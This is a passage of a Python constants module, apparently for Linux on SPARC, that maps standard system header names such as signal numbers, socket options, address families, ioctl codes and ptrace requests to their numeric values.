Constant('UINT_LEAST8_MAX',0xff) UINT_LEAST16_MAX = Constant('UINT_LEAST16_MAX',0xffff) UINT_LEAST32_MAX = Constant('UINT_LEAST32_MAX',0xffffffff) UINT_LEAST64_MAX = Constant('UINT_LEAST64_MAX',0xffffffffffffffff) INTPTR_MIN = Constant('INTPTR_MIN',(-1 - (2147483647))) INTPTR_MAX = Constant('INTPTR_MAX',(2147483647)) UINTPTR_MAX = Constant('UINTPTR_MAX',0xffffffff) SIZE_MAX = Constant('SIZE_MAX',0xffffffff) PTRDIFF_MIN = Constant('PTRDIFF_MIN',(-1 - (2147483647))) PTRDIFF_MAX = Constant('PTRDIFF_MAX',(2147483647)) INTMAX_MIN = Constant('INTMAX_MIN',(-1 - (9223372036854775807))) INTMAX_MAX = Constant('INTMAX_MAX',(9223372036854775807)) UINTMAX_MAX = Constant('UINTMAX_MAX',0xffffffffffffffff) INT_FAST8_MIN = Constant('INT_FAST8_MIN',(-1 - (127))) INT_FAST8_MAX = Constant('INT_FAST8_MAX',(127)) INT_FAST64_MIN = Constant('INT_FAST64_MIN',(-1 - (9223372036854775807))) INT_FAST64_MAX = Constant('INT_FAST64_MAX',(9223372036854775807)) UINT_FAST8_MAX = Constant('UINT_FAST8_MAX',0xff) UINT_FAST64_MAX = Constant('UINT_FAST64_MAX',0xffffffffffffffff) INT_FAST16_MIN = Constant('INT_FAST16_MIN',(-1 - (2147483647))) INT_FAST16_MAX = Constant('INT_FAST16_MAX',(2147483647)) UINT_FAST16_MAX = Constant('UINT_FAST16_MAX',0xffffffff) INT_FAST32_MIN = Constant('INT_FAST32_MIN',(-1 - (2147483647))) INT_FAST32_MAX = Constant('INT_FAST32_MAX',(2147483647)) UINT_FAST32_MAX = Constant('UINT_FAST32_MAX',0xffffffff) WINT_MIN = Constant('WINT_MIN',0) __FSUID_H = Constant('__FSUID_H',1) NSIG = Constant('NSIG',32) _NSIG = Constant('_NSIG',65) SIGHUP = Constant('SIGHUP',1) SIGINT = Constant('SIGINT',2) SIGQUIT = Constant('SIGQUIT',3) SIGILL = Constant('SIGILL',4) SIGTRAP = Constant('SIGTRAP',5) SIGABRT = Constant('SIGABRT',6) SIGIOT = Constant('SIGIOT',6) SIGFPE = Constant('SIGFPE',8) SIGKILL = Constant('SIGKILL',9) SIGSEGV = Constant('SIGSEGV',11) SIGPIPE = Constant('SIGPIPE',13) SIGALRM = Constant('SIGALRM',14) SIGTERM = Constant('SIGTERM',15) SIGUNUSED = Constant('SIGUNUSED',31) SIGRTMIN = Constant('SIGRTMIN',32) SIGRTMAX = Constant('SIGRTMAX',(65-1)) SA_NOCLDSTOP = Constant('SA_NOCLDSTOP',0x00000001) SA_NOCLDWAIT = Constant('SA_NOCLDWAIT',0x00000002) SA_SIGINFO = Constant('SA_SIGINFO',0x00000004) SA_RESTORER = Constant('SA_RESTORER',0x04000000) SA_ONSTACK = Constant('SA_ONSTACK',0x08000000) SA_RESTART = Constant('SA_RESTART',0x10000000) SA_INTERRUPT = Constant('SA_INTERRUPT',0x20000000) SA_NODEFER = Constant('SA_NODEFER',0x40000000) SA_RESETHAND = Constant('SA_RESETHAND',0x80000000) SA_NOMASK = Constant('SA_NOMASK',0x40000000) SA_ONESHOT = Constant('SA_ONESHOT',0x80000000) SS_ONSTACK = Constant('SS_ONSTACK',1) SS_DISABLE = Constant('SS_DISABLE',2) MINSIGSTKSZ = Constant('MINSIGSTKSZ',2048) SIGSTKSZ = Constant('SIGSTKSZ',8192) SIG_BLOCK = Constant('SIG_BLOCK',0) SIG_UNBLOCK = Constant('SIG_UNBLOCK',1) SIG_SETMASK = Constant('SIG_SETMASK',2) SI_MAX_SIZE = Constant('SI_MAX_SIZE',128) SIGEV_SIGNAL = Constant('SIGEV_SIGNAL',0) SIGEV_NONE = Constant('SIGEV_NONE',1) SIGEV_THREAD = Constant('SIGEV_THREAD',2) SIGEV_THREAD_ID = Constant('SIGEV_THREAD_ID',4) SIGEV_MAX_SIZE = Constant('SIGEV_MAX_SIZE',64) _SYS_TIME_H = Constant('_SYS_TIME_H',1) ITIMER_REAL = Constant('ITIMER_REAL',0) ITIMER_VIRTUAL = Constant('ITIMER_VIRTUAL',1) ITIMER_PROF = Constant('ITIMER_PROF',2) MC_TSTATE = Constant('MC_TSTATE',0) MC_PC = Constant('MC_PC',1) MC_NPC = Constant('MC_NPC',2) MC_Y = Constant('MC_Y',3) MC_G1 = Constant('MC_G1',4) MC_G2 = Constant('MC_G2',5) MC_G3 = Constant('MC_G3',6) MC_G4 = Constant('MC_G4',7) MC_G5 = Constant('MC_G5',8) MC_G6 = Constant('MC_G6',9) MC_G7 = Constant('MC_G7',10) MC_O0 = Constant('MC_O0',11) MC_O1 = Constant('MC_O1',12) MC_O2 = Constant('MC_O2',13) MC_O3 = Constant('MC_O3',14) MC_O4 = Constant('MC_O4',15) MC_O5 = Constant('MC_O5',16) MC_O6 = Constant('MC_O6',17) MC_O7 = Constant('MC_O7',18) MC_NGREG = Constant('MC_NGREG',19) MC_MAXFPQ = Constant('MC_MAXFPQ',16) FD_SETSIZE = Constant('FD_SETSIZE',1024) R_OK = Constant('R_OK',4) W_OK = Constant('W_OK',2) X_OK = Constant('X_OK',1) F_OK = Constant('F_OK',0) SEEK_SET = Constant('SEEK_SET',0) SEEK_CUR = Constant('SEEK_CUR',1) SEEK_END = Constant('SEEK_END',2) STDIN_FILENO = Constant('STDIN_FILENO',0) STDOUT_FILENO = Constant('STDOUT_FILENO',1) STDERR_FILENO = Constant('STDERR_FILENO',2) _CS_PATH = Constant('_CS_PATH',1) _SC_CLK_TCK = Constant('_SC_CLK_TCK',1) _SC_ARG_MAX = Constant('_SC_ARG_MAX',2) _SC_NGROUPS_MAX = Constant('_SC_NGROUPS_MAX',3) _SC_OPEN_MAX = Constant('_SC_OPEN_MAX',4) _SC_PAGESIZE = Constant('_SC_PAGESIZE',5) _SC_NPROCESSORS_ONLN = Constant('_SC_NPROCESSORS_ONLN',6) _SC_NPROCESSORS_CONF = Constant('_SC_NPROCESSORS_CONF',6) _SC_PHYS_PAGES = Constant('_SC_PHYS_PAGES',7) _SC_GETPW_R_SIZE_MAX = Constant('_SC_GETPW_R_SIZE_MAX',8) _SC_GETGR_R_SIZE_MAX = Constant('_SC_GETGR_R_SIZE_MAX',9) _PC_PATH_MAX = Constant('_PC_PATH_MAX',1) _PC_VDISABLE = Constant('_PC_VDISABLE',2) L_cuserid = Constant('L_cuserid',17) _POSIX_VERSION = Constant('_POSIX_VERSION',199506) F_ULOCK = Constant('F_ULOCK',0) F_LOCK = Constant('F_LOCK',1) F_TLOCK = Constant('F_TLOCK',2) F_TEST = Constant('F_TEST',3) _POSIX_MAPPED_FILES = Constant('_POSIX_MAPPED_FILES',200809) S_IFMT = Constant('S_IFMT',0o0170000) S_IFSOCK = Constant('S_IFSOCK',0o140000) S_IFLNK = Constant('S_IFLNK',0o120000) S_IFREG = Constant('S_IFREG',0o100000) S_IFBLK = Constant('S_IFBLK',0o060000) S_IFDIR = Constant('S_IFDIR',0o040000) S_IFCHR = Constant('S_IFCHR',0o020000) S_IFIFO = Constant('S_IFIFO',0o010000) S_ISUID = Constant('S_ISUID',0o004000) S_ISGID = Constant('S_ISGID',0o002000) S_ISVTX = Constant('S_ISVTX',0o001000) S_IRWXU = Constant('S_IRWXU',0o0700) S_IRUSR = Constant('S_IRUSR',0o0400) S_IWUSR = Constant('S_IWUSR',0o0200) S_IXUSR = Constant('S_IXUSR',0o0100) S_IRWXG = Constant('S_IRWXG',0o0070) S_IRGRP = Constant('S_IRGRP',0o0040) S_IWGRP = Constant('S_IWGRP',0o0020) S_IXGRP = Constant('S_IXGRP',0o0010) S_IRWXO = Constant('S_IRWXO',0o0007) S_IROTH = Constant('S_IROTH',0o0004) S_IWOTH = Constant('S_IWOTH',0o0002) S_IXOTH = Constant('S_IXOTH',0o0001) S_IREAD = Constant('S_IREAD',0o0400) S_IWRITE = Constant('S_IWRITE',0o0200) S_IEXEC = Constant('S_IEXEC',0o0100) _SYS_UIO = Constant('_SYS_UIO',1) SOL_SOCKET = Constant('SOL_SOCKET',1) SO_DEBUG = Constant('SO_DEBUG',1) SO_REUSEADDR = Constant('SO_REUSEADDR',2) SO_TYPE = Constant('SO_TYPE',3) SO_ERROR = Constant('SO_ERROR',4) SO_DONTROUTE = Constant('SO_DONTROUTE',5) SO_BROADCAST = Constant('SO_BROADCAST',6) SO_SNDBUF = Constant('SO_SNDBUF',7) SO_RCVBUF = Constant('SO_RCVBUF',8) SO_KEEPALIVE = Constant('SO_KEEPALIVE',9) SO_OOBINLINE = Constant('SO_OOBINLINE',10) SO_NO_CHECK = Constant('SO_NO_CHECK',11) SO_PRIORITY = Constant('SO_PRIORITY',12) SO_LINGER = Constant('SO_LINGER',13) SO_BSDCOMPAT = Constant('SO_BSDCOMPAT',14) SO_REUSEPORT = Constant('SO_REUSEPORT',15) SO_PASSCRED = Constant('SO_PASSCRED',16) SO_PEERCRED = Constant('SO_PEERCRED',17) SO_RCVLOWAT = Constant('SO_RCVLOWAT',18) SO_SNDLOWAT = Constant('SO_SNDLOWAT',19) SO_RCVTIMEO = Constant('SO_RCVTIMEO',20) SO_SNDTIMEO = Constant('SO_SNDTIMEO',21) SO_SECURITY_AUTHENTICATION = Constant('SO_SECURITY_AUTHENTICATION',22) SO_SECURITY_ENCRYPTION_TRANSPORT = Constant('SO_SECURITY_ENCRYPTION_TRANSPORT',23) SO_SECURITY_ENCRYPTION_NETWORK = Constant('SO_SECURITY_ENCRYPTION_NETWORK',24) SO_BINDTODEVICE = Constant('SO_BINDTODEVICE',25) SO_ATTACH_FILTER = Constant('SO_ATTACH_FILTER',26) SO_DETACH_FILTER = Constant('SO_DETACH_FILTER',27) SO_GET_FILTER = Constant('SO_GET_FILTER',26) SO_PEERNAME = Constant('SO_PEERNAME',28) SO_TIMESTAMP = Constant('SO_TIMESTAMP',29) SCM_TIMESTAMP = Constant('SCM_TIMESTAMP',29) SO_ACCEPTCONN = Constant('SO_ACCEPTCONN',30) SO_PEERSEC = Constant('SO_PEERSEC',31) SO_SNDBUFFORCE = Constant('SO_SNDBUFFORCE',32) SO_RCVBUFFORCE = Constant('SO_RCVBUFFORCE',33) SO_PASSSEC = Constant('SO_PASSSEC',34) SO_TIMESTAMPNS = Constant('SO_TIMESTAMPNS',35) SCM_TIMESTAMPNS = Constant('SCM_TIMESTAMPNS',35) SO_MARK = Constant('SO_MARK',36) SO_TIMESTAMPING = Constant('SO_TIMESTAMPING',37) SCM_TIMESTAMPING = Constant('SCM_TIMESTAMPING',37) SO_PROTOCOL = Constant('SO_PROTOCOL',38) SO_DOMAIN = Constant('SO_DOMAIN',39) SO_RXQ_OVFL = Constant('SO_RXQ_OVFL',40) SO_WIFI_STATUS = Constant('SO_WIFI_STATUS',41) SCM_WIFI_STATUS = Constant('SCM_WIFI_STATUS',41) SO_PEEK_OFF = Constant('SO_PEEK_OFF',42) SO_NOFCS = Constant('SO_NOFCS',43) SO_LOCK_FILTER = Constant('SO_LOCK_FILTER',44) SO_SELECT_ERR_QUEUE = Constant('SO_SELECT_ERR_QUEUE',45) SO_BUSY_POLL = Constant('SO_BUSY_POLL',46) SO_MAX_PACING_RATE = Constant('SO_MAX_PACING_RATE',47) SO_BPF_EXTENSIONS = Constant('SO_BPF_EXTENSIONS',48) SO_INCOMING_CPU = Constant('SO_INCOMING_CPU',49) SO_ATTACH_BPF = Constant('SO_ATTACH_BPF',50) SO_DETACH_BPF = Constant('SO_DETACH_BPF',27) SO_ATTACH_REUSEPORT_CBPF = Constant('SO_ATTACH_REUSEPORT_CBPF',51) SO_ATTACH_REUSEPORT_EBPF = Constant('SO_ATTACH_REUSEPORT_EBPF',52) SO_CNX_ADVICE = Constant('SO_CNX_ADVICE',53) SCM_TIMESTAMPING_OPT_STATS = Constant('SCM_TIMESTAMPING_OPT_STATS',54) SO_MEMINFO = Constant('SO_MEMINFO',55) SO_INCOMING_NAPI_ID = Constant('SO_INCOMING_NAPI_ID',56) SO_COOKIE = Constant('SO_COOKIE',57) SCM_TIMESTAMPING_PKTINFO = Constant('SCM_TIMESTAMPING_PKTINFO',58) SO_PEERGROUPS = Constant('SO_PEERGROUPS',59) SO_ZEROCOPY = Constant('SO_ZEROCOPY',60) SOCK_STREAM = Constant('SOCK_STREAM',1) SOCK_DGRAM = Constant('SOCK_DGRAM',2) SOCK_RAW = Constant('SOCK_RAW',3) SOCK_RDM = Constant('SOCK_RDM',4) SOCK_SEQPACKET = Constant('SOCK_SEQPACKET',5) SOCK_DCCP = Constant('SOCK_DCCP',6) SOCK_PACKET = Constant('SOCK_PACKET',10) UIO_FASTIOV = Constant('UIO_FASTIOV',8) UIO_MAXIOV = Constant('UIO_MAXIOV',1024) SCM_RIGHTS = Constant('SCM_RIGHTS',0x01) SCM_CREDENTIALS = Constant('SCM_CREDENTIALS',0x02) SCM_CONNECT = Constant('SCM_CONNECT',0x03) AF_UNSPEC = Constant('AF_UNSPEC',0) AF_UNIX = Constant('AF_UNIX',1) AF_LOCAL = Constant('AF_LOCAL',1) AF_INET = Constant('AF_INET',2) AF_AX25 = Constant('AF_AX25',3) AF_IPX = Constant('AF_IPX',4) AF_APPLETALK = Constant('AF_APPLETALK',5) AF_NETROM = Constant('AF_NETROM',6) AF_BRIDGE = Constant('AF_BRIDGE',7) AF_ATMPVC = Constant('AF_ATMPVC',8) AF_X25 = Constant('AF_X25',9) AF_INET6 = Constant('AF_INET6',10) AF_ROSE = Constant('AF_ROSE',11) AF_DECnet = Constant('AF_DECnet',12) AF_NETBEUI = Constant('AF_NETBEUI',13) AF_SECURITY = Constant('AF_SECURITY',14) AF_KEY = Constant('AF_KEY',15) AF_NETLINK = Constant('AF_NETLINK',16) AF_ROUTE = Constant('AF_ROUTE',16) AF_PACKET = Constant('AF_PACKET',17) AF_ASH = Constant('AF_ASH',18) AF_ECONET = Constant('AF_ECONET',19) AF_ATMSVC = Constant('AF_ATMSVC',20) AF_SNA = Constant('AF_SNA',22) AF_IRDA = Constant('AF_IRDA',23) AF_PPPOX = Constant('AF_PPPOX',24) AF_WANPIPE = Constant('AF_WANPIPE',25) AF_LLC = Constant('AF_LLC',26) AF_IB = Constant('AF_IB',27) AF_MPLS = Constant('AF_MPLS',28) AF_CAN = Constant('AF_CAN',29) AF_TIPC = Constant('AF_TIPC',30) AF_BLUETOOTH = Constant('AF_BLUETOOTH',31) AF_IUCV = Constant('AF_IUCV',32) AF_RXRPC = Constant('AF_RXRPC',33) AF_ISDN = Constant('AF_ISDN',34) AF_PHONET = Constant('AF_PHONET',35) AF_IEEE802154 = Constant('AF_IEEE802154',36) AF_CAIF = Constant('AF_CAIF',37) AF_ALG = Constant('AF_ALG',38) AF_NFC = Constant('AF_NFC',39) AF_VSOCK = Constant('AF_VSOCK',40) AF_KCM = Constant('AF_KCM',41) AF_QIPCRTR = Constant('AF_QIPCRTR',42) AF_SMC = Constant('AF_SMC',43) AF_MAX = Constant('AF_MAX',44) PF_UNSPEC = Constant('PF_UNSPEC',0) PF_UNIX = Constant('PF_UNIX',1) PF_LOCAL = Constant('PF_LOCAL',1) PF_INET = Constant('PF_INET',2) PF_AX25 = Constant('PF_AX25',3) PF_IPX = Constant('PF_IPX',4) PF_APPLETALK = Constant('PF_APPLETALK',5) PF_NETROM = Constant('PF_NETROM',6) PF_BRIDGE = Constant('PF_BRIDGE',7) PF_ATMPVC = Constant('PF_ATMPVC',8) PF_X25 = Constant('PF_X25',9) PF_INET6 = Constant('PF_INET6',10) PF_ROSE = Constant('PF_ROSE',11) PF_DECnet = Constant('PF_DECnet',12) PF_NETBEUI = Constant('PF_NETBEUI',13) PF_SECURITY = Constant('PF_SECURITY',14) PF_KEY = Constant('PF_KEY',15) PF_NETLINK = Constant('PF_NETLINK',16) PF_ROUTE = Constant('PF_ROUTE',16) PF_PACKET = Constant('PF_PACKET',17) PF_ASH = Constant('PF_ASH',18) PF_ECONET = Constant('PF_ECONET',19) PF_ATMSVC = Constant('PF_ATMSVC',20) PF_SNA = Constant('PF_SNA',22) PF_IRDA = Constant('PF_IRDA',23) PF_PPPOX = Constant('PF_PPPOX',24) PF_WANPIPE = Constant('PF_WANPIPE',25) PF_LLC = Constant('PF_LLC',26) PF_IB = Constant('PF_IB',27) PF_MPLS = Constant('PF_MPLS',28) PF_CAN = Constant('PF_CAN',29) PF_TIPC = Constant('PF_TIPC',30) PF_BLUETOOTH = Constant('PF_BLUETOOTH',31) PF_IUCV = Constant('PF_IUCV',32) PF_RXRPC = Constant('PF_RXRPC',33) PF_ISDN = Constant('PF_ISDN',34) PF_PHONET = Constant('PF_PHONET',35) PF_IEEE802154 = Constant('PF_IEEE802154',36) PF_CAIF = Constant('PF_CAIF',37) PF_ALG = Constant('PF_ALG',38) PF_NFC = Constant('PF_NFC',39) PF_VSOCK = Constant('PF_VSOCK',40) PF_KCM = Constant('PF_KCM',41) PF_QIPCRTR = Constant('PF_QIPCRTR',42) PF_SMC = Constant('PF_SMC',43) PF_MAX = Constant('PF_MAX',44) SOMAXCONN = Constant('SOMAXCONN',128) MSG_OOB = Constant('MSG_OOB',1) MSG_PEEK = Constant('MSG_PEEK',2) MSG_DONTROUTE = Constant('MSG_DONTROUTE',4) MSG_TRYHARD = Constant('MSG_TRYHARD',4) MSG_CTRUNC = Constant('MSG_CTRUNC',8) MSG_PROBE = Constant('MSG_PROBE',0x10) MSG_TRUNC = Constant('MSG_TRUNC',0x20) MSG_DONTWAIT = Constant('MSG_DONTWAIT',0x40) MSG_EOR = Constant('MSG_EOR',0x80) MSG_WAITALL = Constant('MSG_WAITALL',0x100) MSG_FIN = Constant('MSG_FIN',0x200) MSG_SYN = Constant('MSG_SYN',0x400) MSG_CONFIRM = Constant('MSG_CONFIRM',0x800) MSG_RST = Constant('MSG_RST',0x1000) MSG_ERRQUEUE = Constant('MSG_ERRQUEUE',0x2000) MSG_NOSIGNAL = Constant('MSG_NOSIGNAL',0x4000) MSG_MORE = Constant('MSG_MORE',0x8000) MSG_WAITFORONE = Constant('MSG_WAITFORONE',0x10000) MSG_SENDPAGE_NOTLAST = Constant('MSG_SENDPAGE_NOTLAST',0x20000) MSG_BATCH = Constant('MSG_BATCH',0x40000) MSG_EOF = Constant('MSG_EOF',0x200) MSG_ZEROCOPY = Constant('MSG_ZEROCOPY',0x4000000) MSG_FASTOPEN = Constant('MSG_FASTOPEN',0x20000000) MSG_CMSG_CLOEXEC = Constant('MSG_CMSG_CLOEXEC',0x40000000) SOL_IP = Constant('SOL_IP',0) SOL_TCP = Constant('SOL_TCP',6) SOL_UDP = Constant('SOL_UDP',17) SOL_IPV6 = Constant('SOL_IPV6',41) SOL_ICMPV6 = Constant('SOL_ICMPV6',58) SOL_SCTP = Constant('SOL_SCTP',132) SOL_UDPLITE = Constant('SOL_UDPLITE',136) SOL_RAW = Constant('SOL_RAW',255) SOL_IPX = Constant('SOL_IPX',256) SOL_AX25 = Constant('SOL_AX25',257) SOL_ATALK = Constant('SOL_ATALK',258) SOL_NETROM = Constant('SOL_NETROM',259) SOL_ROSE = Constant('SOL_ROSE',260) SOL_DECNET = Constant('SOL_DECNET',261) SOL_X25 = Constant('SOL_X25',262) SOL_PACKET = Constant('SOL_PACKET',263) SOL_ATM = Constant('SOL_ATM',264) SOL_AAL = Constant('SOL_AAL',265) SOL_IRDA = Constant('SOL_IRDA',266) SOL_NETBEUI = Constant('SOL_NETBEUI',267) SOL_LLC = Constant('SOL_LLC',268) SOL_DCCP = Constant('SOL_DCCP',269) SOL_NETLINK = Constant('SOL_NETLINK',270) SOL_TIPC = Constant('SOL_TIPC',271) SOL_RXRPC = Constant('SOL_RXRPC',272) SOL_PPPOL2TP = Constant('SOL_PPPOL2TP',273) SOL_BLUETOOTH = Constant('SOL_BLUETOOTH',274) SOL_PNPIPE = Constant('SOL_PNPIPE',275) SOL_RDS = Constant('SOL_RDS',276) SOL_IUCV = Constant('SOL_IUCV',277) SOL_CAIF = Constant('SOL_CAIF',278) SOL_ALG = Constant('SOL_ALG',279) SOL_NFC = Constant('SOL_NFC',280) SOL_KCM = Constant('SOL_KCM',281) SOL_TLS = Constant('SOL_TLS',282) IPX_TYPE = Constant('IPX_TYPE',1) SHUT_RD = Constant('SHUT_RD',0) SHUT_WR = Constant('SHUT_WR',1) SHUT_RDWR = Constant('SHUT_RDWR',2) NI_NOFQDN = Constant('NI_NOFQDN',1) NI_NUMERICHOST = Constant('NI_NUMERICHOST',2) NI_NAMEREQD = Constant('NI_NAMEREQD',4) NI_NUMERICSERV = Constant('NI_NUMERICSERV',8) NI_DGRAM = Constant('NI_DGRAM',16) EAI_FAMILY = Constant('EAI_FAMILY',-1) EAI_SOCKTYPE = Constant('EAI_SOCKTYPE',-2) EAI_BADFLAGS = Constant('EAI_BADFLAGS',-3) EAI_NONAME = Constant('EAI_NONAME',-4) EAI_SERVICE = Constant('EAI_SERVICE',-5) EAI_ADDRFAMILY = Constant('EAI_ADDRFAMILY',-6) EAI_NODATA = Constant('EAI_NODATA',-7) EAI_MEMORY = Constant('EAI_MEMORY',-8) EAI_FAIL = Constant('EAI_FAIL',-9) EAI_AGAIN = Constant('EAI_AGAIN',-10) EAI_SYSTEM = Constant('EAI_SYSTEM',-11) AI_NUMERICHOST = Constant('AI_NUMERICHOST',1) AI_CANONNAME = Constant('AI_CANONNAME',2) AI_PASSIVE = Constant('AI_PASSIVE',4) AI_NUMERICSERV = Constant('AI_NUMERICSERV',8) AI_ADDRCONFIG = Constant('AI_ADDRCONFIG',16) AI_V4MAPPED = Constant('AI_V4MAPPED',32) AI_ALL = Constant('AI_ALL',64) SIOCADDRT = Constant('SIOCADDRT',0x890B) SIOCDELRT = Constant('SIOCDELRT',0x890C) SIOCRTMSG = Constant('SIOCRTMSG',0x890D) SIOCGIFNAME = Constant('SIOCGIFNAME',0x8910) SIOCSIFLINK = Constant('SIOCSIFLINK',0x8911) SIOCGIFCONF = Constant('SIOCGIFCONF',0x8912) SIOCGIFFLAGS = Constant('SIOCGIFFLAGS',0x8913) SIOCSIFFLAGS = Constant('SIOCSIFFLAGS',0x8914) SIOCGIFADDR = Constant('SIOCGIFADDR',0x8915) SIOCSIFADDR = Constant('SIOCSIFADDR',0x8916) SIOCGIFDSTADDR = Constant('SIOCGIFDSTADDR',0x8917) SIOCSIFDSTADDR = Constant('SIOCSIFDSTADDR',0x8918) SIOCGIFBRDADDR = Constant('SIOCGIFBRDADDR',0x8919) SIOCSIFBRDADDR = Constant('SIOCSIFBRDADDR',0x891a) SIOCGIFNETMASK = Constant('SIOCGIFNETMASK',0x891b) SIOCSIFNETMASK = Constant('SIOCSIFNETMASK',0x891c) SIOCGIFMETRIC = Constant('SIOCGIFMETRIC',0x891d) SIOCSIFMETRIC = Constant('SIOCSIFMETRIC',0x891e) SIOCGIFMEM = Constant('SIOCGIFMEM',0x891f) SIOCSIFMEM = Constant('SIOCSIFMEM',0x8920) SIOCGIFMTU = Constant('SIOCGIFMTU',0x8921) SIOCSIFMTU = Constant('SIOCSIFMTU',0x8922) SIOCSIFNAME = Constant('SIOCSIFNAME',0x8923) SIOCSIFHWADDR = Constant('SIOCSIFHWADDR',0x8924) SIOCGIFENCAP = Constant('SIOCGIFENCAP',0x8925) SIOCSIFENCAP = Constant('SIOCSIFENCAP',0x8926) SIOCGIFHWADDR = Constant('SIOCGIFHWADDR',0x8927) SIOCGIFSLAVE = Constant('SIOCGIFSLAVE',0x8929) SIOCSIFSLAVE = Constant('SIOCSIFSLAVE',0x8930) SIOCADDMULTI = Constant('SIOCADDMULTI',0x8931) SIOCDELMULTI = Constant('SIOCDELMULTI',0x8932) SIOCGIFINDEX = Constant('SIOCGIFINDEX',0x8933) SIOGIFINDEX = Constant('SIOGIFINDEX',0x8933) SIOCSIFPFLAGS = Constant('SIOCSIFPFLAGS',0x8934) SIOCGIFPFLAGS = Constant('SIOCGIFPFLAGS',0x8935) SIOCDIFADDR = Constant('SIOCDIFADDR',0x8936) SIOCSIFHWBROADCAST = Constant('SIOCSIFHWBROADCAST',0x8937) SIOCGIFCOUNT = Constant('SIOCGIFCOUNT',0x8938) SIOCGIFBR = Constant('SIOCGIFBR',0x8940) SIOCSIFBR = Constant('SIOCSIFBR',0x8941) SIOCGIFTXQLEN = Constant('SIOCGIFTXQLEN',0x8942) SIOCSIFTXQLEN = Constant('SIOCSIFTXQLEN',0x8943) SIOCGIFDIVERT = Constant('SIOCGIFDIVERT',0x8944) SIOCSIFDIVERT = Constant('SIOCSIFDIVERT',0x8945) SIOCETHTOOL = Constant('SIOCETHTOOL',0x8946) SIOCDARP = Constant('SIOCDARP',0x8953) SIOCGARP = Constant('SIOCGARP',0x8954) SIOCSARP = Constant('SIOCSARP',0x8955) SIOCDRARP = Constant('SIOCDRARP',0x8960) SIOCGRARP = Constant('SIOCGRARP',0x8961) SIOCSRARP = Constant('SIOCSRARP',0x8962) SIOCGIFMAP = Constant('SIOCGIFMAP',0x8970) SIOCSIFMAP = Constant('SIOCSIFMAP',0x8971) SIOCADDDLCI = Constant('SIOCADDDLCI',0x8980) SIOCDELDLCI = Constant('SIOCDELDLCI',0x8981) SIOCDEVPRIVATE = Constant('SIOCDEVPRIVATE',0x89F0) F_LINUX_SPECIFIC_BASE = Constant('F_LINUX_SPECIFIC_BASE',1024) F_SETOWN_EX = Constant('F_SETOWN_EX',15) F_GETOWN_EX = Constant('F_GETOWN_EX',16) F_GETOWNER_UIDS = Constant('F_GETOWNER_UIDS',17) F_OFD_GETLK = Constant('F_OFD_GETLK',36) F_OFD_SETLK = Constant('F_OFD_SETLK',37) F_OFD_SETLKW = Constant('F_OFD_SETLKW',38) F_OWNER_TID = Constant('F_OWNER_TID',0) F_OWNER_PID = Constant('F_OWNER_PID',1) F_OWNER_PGRP = Constant('F_OWNER_PGRP',2) AT_FDCWD = Constant('AT_FDCWD',-100) AT_SYMLINK_NOFOLLOW = Constant('AT_SYMLINK_NOFOLLOW',0x100) AT_REMOVEDIR = Constant('AT_REMOVEDIR',0x200) AT_SYMLINK_FOLLOW = Constant('AT_SYMLINK_FOLLOW',0x400) AT_NO_AUTOMOUNT = Constant('AT_NO_AUTOMOUNT',0x800) AT_EMPTY_PATH = Constant('AT_EMPTY_PATH',0x1000) AT_EACCESS = Constant('AT_EACCESS',0x200) MREMAP_MAYMOVE = Constant('MREMAP_MAYMOVE',1) MREMAP_FIXED = Constant('MREMAP_FIXED',2) PROT_READ = Constant('PROT_READ',0x1) PROT_WRITE = Constant('PROT_WRITE',0x2) PROT_EXEC = Constant('PROT_EXEC',0x4) PROT_SEM = Constant('PROT_SEM',0x8) PROT_NONE = Constant('PROT_NONE',0x0) PROT_GROWSDOWN = Constant('PROT_GROWSDOWN',0x01000000) PROT_GROWSUP = Constant('PROT_GROWSUP',0x02000000) MAP_SHARED = Constant('MAP_SHARED',0x01) MAP_PRIVATE = Constant('MAP_PRIVATE',0x02) MAP_TYPE = Constant('MAP_TYPE',0xf) MADV_REMOVE = Constant('MADV_REMOVE',9) MADV_DONTFORK = Constant('MADV_DONTFORK',10) MADV_DOFORK = Constant('MADV_DOFORK',11) MADV_MERGEABLE = Constant('MADV_MERGEABLE',12) MADV_UNMERGEABLE = Constant('MADV_UNMERGEABLE',13) MADV_HUGEPAGE = Constant('MADV_HUGEPAGE',14) MADV_NOHUGEPAGE = Constant('MADV_NOHUGEPAGE',15) MADV_DONTDUMP = Constant('MADV_DONTDUMP',16) MADV_DODUMP = Constant('MADV_DODUMP',17) MADV_HWPOISON = Constant('MADV_HWPOISON',100) MADV_SOFT_OFFLINE = Constant('MADV_SOFT_OFFLINE',101) MLOCK_ONFAULT = Constant('MLOCK_ONFAULT',1) MAP_FILE = Constant('MAP_FILE',0) PTRACE_TRACEME = Constant('PTRACE_TRACEME',0) PTRACE_PEEKTEXT = Constant('PTRACE_PEEKTEXT',1) PTRACE_PEEKDATA = Constant('PTRACE_PEEKDATA',2) PTRACE_PEEKUSR = Constant('PTRACE_PEEKUSR',3) PTRACE_PEEKUSER = Constant('PTRACE_PEEKUSER',3) PTRACE_POKETEXT = Constant('PTRACE_POKETEXT',4) PTRACE_POKEDATA = Constant('PTRACE_POKEDATA',5) PTRACE_POKEUSR = Constant('PTRACE_POKEUSR',6) PTRACE_POKEUSER = Constant('PTRACE_POKEUSER',6) PTRACE_CONT = Constant('PTRACE_CONT',7) PTRACE_KILL = Constant('PTRACE_KILL',8) PTRACE_SINGLESTEP = Constant('PTRACE_SINGLESTEP',9) PTRACE_ATTACH = Constant('PTRACE_ATTACH',0x10) PTRACE_DETACH = Constant('PTRACE_DETACH',0x11) PTRACE_SYSCALL = Constant('PTRACE_SYSCALL',24) PTRACE_GETEVENTMSG = Constant('PTRACE_GETEVENTMSG',0x4201) PTRACE_GETSIGINFO = Constant('PTRACE_GETSIGINFO',0x4202) PTRACE_SETSIGINFO = Constant('PTRACE_SETSIGINFO',0x4203) PTRACE_O_TRACESYSGOOD = Constant('PTRACE_O_TRACESYSGOOD',0x00000001) PTRACE_O_TRACEFORK = Constant('PTRACE_O_TRACEFORK',0x00000002) PTRACE_O_TRACEVFORK = Constant('PTRACE_O_TRACEVFORK',0x00000004) PTRACE_O_TRACECLONE = Constant('PTRACE_O_TRACECLONE',0x00000008) PTRACE_O_TRACEEXEC = Constant('PTRACE_O_TRACEEXEC',0x00000010) PTRACE_O_TRACEVFORKDONE = Constant('PTRACE_O_TRACEVFORKDONE',0x00000020) PTRACE_O_TRACEEXIT = Constant('PTRACE_O_TRACEEXIT',0x00000040) PTRACE_O_MASK = Constant('PTRACE_O_MASK',0x0000007f) PTRACE_EVENT_FORK = 